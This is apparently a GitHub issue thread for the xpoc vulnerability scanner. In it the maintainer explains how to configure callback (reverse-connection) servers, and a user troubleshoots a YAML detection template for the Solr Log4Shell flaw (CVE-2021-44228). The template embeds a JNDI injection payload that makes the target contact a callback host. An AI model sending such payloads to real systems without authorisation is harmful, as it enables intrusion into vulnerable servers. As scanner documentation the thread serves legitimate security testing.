xpoc icon indicating copy to clipboard operation
xpoc copied to clipboard

【官方】【重要】反连相关问题解答

Open 4ra1n opened this issue 1 year ago • 9 comments

如题

4ra1n avatar Nov 21 '24 10:11 4ra1n

如果你是内网,不出网,无法使用 dnslog.cn 或者你就是单纯不想用 dnslog.cn 反连

可以加入参数 --disable reverse-client-dnslog 禁用 dnslog.cn

4ra1n avatar Nov 21 '24 10:11 4ra1n

关于如何配置反连

如果你不需要 dnslog 反连,只需要 http/rmi 两种(已经能够覆盖 95% 以上情况)

那么只需要配置这样即可

module:
  reverse-registry:
    dns_server_ip: ""
    domain: ""
    http_base_url: http://公网ip:公网端口
    is_domain_name_server: false
    ldap_server_addr: ""
    reverse_server_url: ""
    rmi_server_addr: ""
    token: 公网反连的token
    wait_timeout: 5s

4ra1n avatar Nov 21 '24 10:11 4ra1n

日志打印 注册了新反连:reverse-client-gunkit 又打印 reverse-client-new 新反连客户端不可用 原因:没有开启新反连平台

这是什么意思?

你的配置是正确的,reverse-client-new 是我们内部测试用,只要 reverse-client-gunkit 可用即可

配置文件不要动 reverse-client-new 相关的配置,后续可能支持

4ra1n avatar Nov 21 '24 11:11 4ra1n

如果我希望全开,要一个完整的 http/rmi/dns 等所有协议,怎么配置

参考:https://docs.xray.cool/tools/xray/advanced/reverse

xpoc 在上述两项配置之外,补充配置 dns_server_ip 和 domain 即可(例如 8.8.8.8 和 4ra1n.com)

4ra1n avatar Nov 21 '24 13:11 4ra1n

如果我无法部署在公网,只能在内网检测怎么办

首先内网是无法使用 dnslog 反连的,只能使用 http/rmi 方式

xpoc 无法自主开启反连,我的建议是使用老 xray reverse 在本地开启一个反连,然后 xpoc 反连配置设置为内网 ip 即可

例如 xray reverse 监听 0.0.0.0:12345

你的内网地址是:192.168.1.1

那么 xpoc 的 http_base_url 应该是 http://192.168.1.1:12345

确保你扫描目标可以连通到 http://192.168.1.1:12345

4ra1n avatar Nov 21 '24 13:11 4ra1n

禁用 dnslog.cn失败了,按照您说的加入参数--disable reverse-client-dnslog,但是没有作用,还是之前的报错

Image

Silenceclamb avatar Feb 19 '25 07:02 Silenceclamb

poc如下:

name: poc-yaml-apache-solr-log4j-cve-2021-44228
transport: http
set:
  reverse: newReverse()
  reverseRMI: reverse.rmi
rules:
  r0:
    request:
      method: GET
      path: /solr/admin/collections?action=${jndi:ldap://{{reverseRMI}}}&wt=json
      follow_redirects: false
    expression: response.status == 400 && reverse.wait(5)
expression: r0()
detail:
  author: lbb

配置文件如下: 客户端

reverse-registry:
        # ↱DNS服务器: 和 HTTP服务URL 类似,实际用来访问 dns 服务器的地址
        dns_server_ip: ""
        # ↱DNS域名: 用来指定 dns 服务器地址所绑定的域名
        domain: ""
        # ↱HTTP服务URL: 该地址是存在漏洞的目标反连回来的地址, 当反连平台前面有反代、绑定域名、端口映射时需要自行配置;该URL会直接用于payload填充,需保证被扫描目标能够正常访问该URL
        http_base_url: "http://192.168.0.108:12345"
        # ↱DNS服务是否为反连平台自身: 如果是反连平台,任何可以触发解析的行为都可以证明漏洞存在,而不需要再指定 DNS
        is_domain_name_server: false
        # ↱LDAP服务URL: 和 HTTP服务URL 类似,实际用来访问 ldap 服务的地址
        ldap_server_addr: ""
        # ↱反连平台管理端URL: 用于拉取反连平台被触发的信息 如果为空则使用 HTTP服务URL; 需要保证扫描器端能正常访问
        reverse_server_url: ""
        # ↱RMI服务URL: 和 HTTP服务URL 类似,实际用来访问 rmi 服务的地址
        rmi_server_addr: ""
        # ↱通信Token: 用于盲打平台通信认证
        token: "ks8888"
        # ↱反连等待时间: 任务结束时等待多久退出
        wait_timeout: 5s

服务端

reverse:
  db_file_path: "x.db"                      # 反连平台数据库文件位置, 这是一个 KV 数据库
  token: "ks8888"                             # 反连平台认证的 Token, 独立部署时不能为空
  http:
    enabled: true
    listen_ip: 0.0.0.0
    listen_port: "12345"
    ip_header: ""                       # 在哪个 http header 中取 ip,为空代表从 REMOTE_ADDR 中取 
  client:
    remote_server: false                # 是否是独立的远程 server,如果是要在下面配置好远程的服务端地址
    http_base_url: ""                   # 默认将根据 ListenIP 和 ListenPort 生成,该地址是存在漏洞的目标反连回来的地址, 当反连平台前面有反代、绑定域名、端口映射时需要自行配置
    dns_server_ip: ""                   # 和 http_base_url 类似,实际用来访问 dns 服务器的地址

配置完毕后,发现发送的rmi协议数据为空。 请问是哪里配置有问题吗?

Image 我配置dnslog后就可以正常的发包。

Image

charis3306 avatar May 04 '25 09:05 charis3306

poc如下:

name: poc-yaml-apache-solr-log4j-cve-2021-44228 transport: http set: reverse: newReverse() reverseRMI: reverse.rmi rules: r0: request: method: GET path: /solr/admin/collections?action=${jndi:ldap://{{reverseRMI}}}&wt=json follow_redirects: false expression: response.status == 400 && reverse.wait(5) expression: r0() detail: author: lbb 配置文件如下: 客户端

reverse-registry: # ↱DNS服务器: 和 HTTP服务URL 类似,实际用来访问 dns 服务器的地址 dns_server_ip: "" # ↱DNS域名: 用来指定 dns 服务器地址所绑定的域名 domain: "" # ↱HTTP服务URL: 该地址是存在漏洞的目标反连回来的地址, 当反连平台前面有反代、绑定域名、端口映射时需要自行配置;该URL会直接用于payload填充,需保证被扫描目标能够正常访问该URL http_base_url: "http://192.168.0.108:12345" # ↱DNS服务是否为反连平台自身: 如果是反连平台,任何可以触发解析的行为都可以证明漏洞存在,而不需要再指定 DNS is_domain_name_server: false # ↱LDAP服务URL: 和 HTTP服务URL 类似,实际用来访问 ldap 服务的地址 ldap_server_addr: "" # ↱反连平台管理端URL: 用于拉取反连平台被触发的信息 如果为空则使用 HTTP服务URL; 需要保证扫描器端能正常访问 reverse_server_url: "" # ↱RMI服务URL: 和 HTTP服务URL 类似,实际用来访问 rmi 服务的地址 rmi_server_addr: "" # ↱通信Token: 用于盲打平台通信认证 token: "ks8888" # ↱反连等待时间: 任务结束时等待多久退出 wait_timeout: 5s 服务端

reverse: db_file_path: "x.db" # 反连平台数据库文件位置, 这是一个 KV 数据库 token: "ks8888" # 反连平台认证的 Token, 独立部署时不能为空 http: enabled: true listen_ip: 0.0.0.0 listen_port: "12345" ip_header: "" # 在哪个 http header 中取 ip,为空代表从 REMOTE_ADDR 中取 client: remote_server: false # 是否是独立的远程 server,如果是要在下面配置好远程的服务端地址 http_base_url: "" # 默认将根据 ListenIP 和 ListenPort 生成,该地址是存在漏洞的目标反连回来的地址, 当反连平台前面有反代、绑定域名、端口映射时需要自行配置 dns_server_ip: "" # 和 http_base_url 类似,实际用来访问 dns 服务器的地址 配置完毕后,发现发送的rmi协议数据为空。 请问是哪里配置有问题吗?

Image 我配置dnslog后就可以正常的发包。

Image

经过数个小时的排查,发现是由于xpoc add导致,使用下面的脚本把我自己编写的poc添加到了xpoc中但是万万没想到我重新更新发现添加到xpoc的yml貌似不能更改。

#!/bin/bash

# 指定要遍历的目录
directory="/home/kali/Desktop/vuln_scan/xpoc/xpocs/"

# 遍历目录下的所有 .yml 文件
for file in "$directory"*.yml; do
    if [ -f "$file" ]; then
        # 执行 xpoc add 命令添加文件
        ./xpoc add "$file"
        if [ $? -eq 0 ]; then
            echo "成功添加文件: $file"
        else
            echo "添加文件 $file 失败"
        fi
    fi
done    

正确的poc

name: poc-yaml-apache-solr-log4j-cve-2021-44228
transport: http
set:
  reverse: newReverse()
  reverseRMI: reverse.rmi
rules:
  r0:
    request:
      method: GET
      path: /solr/admin/collections?action=${jndi:{{reverseRMI}}}&wt=json
      follow_redirects: false
    expression: reverse.wait(5)
expression: r0()
detail:
  author: lbb

charis3306 avatar May 04 '25 10:05 charis3306

Image

charis3306 avatar May 04 '25 10:05 charis3306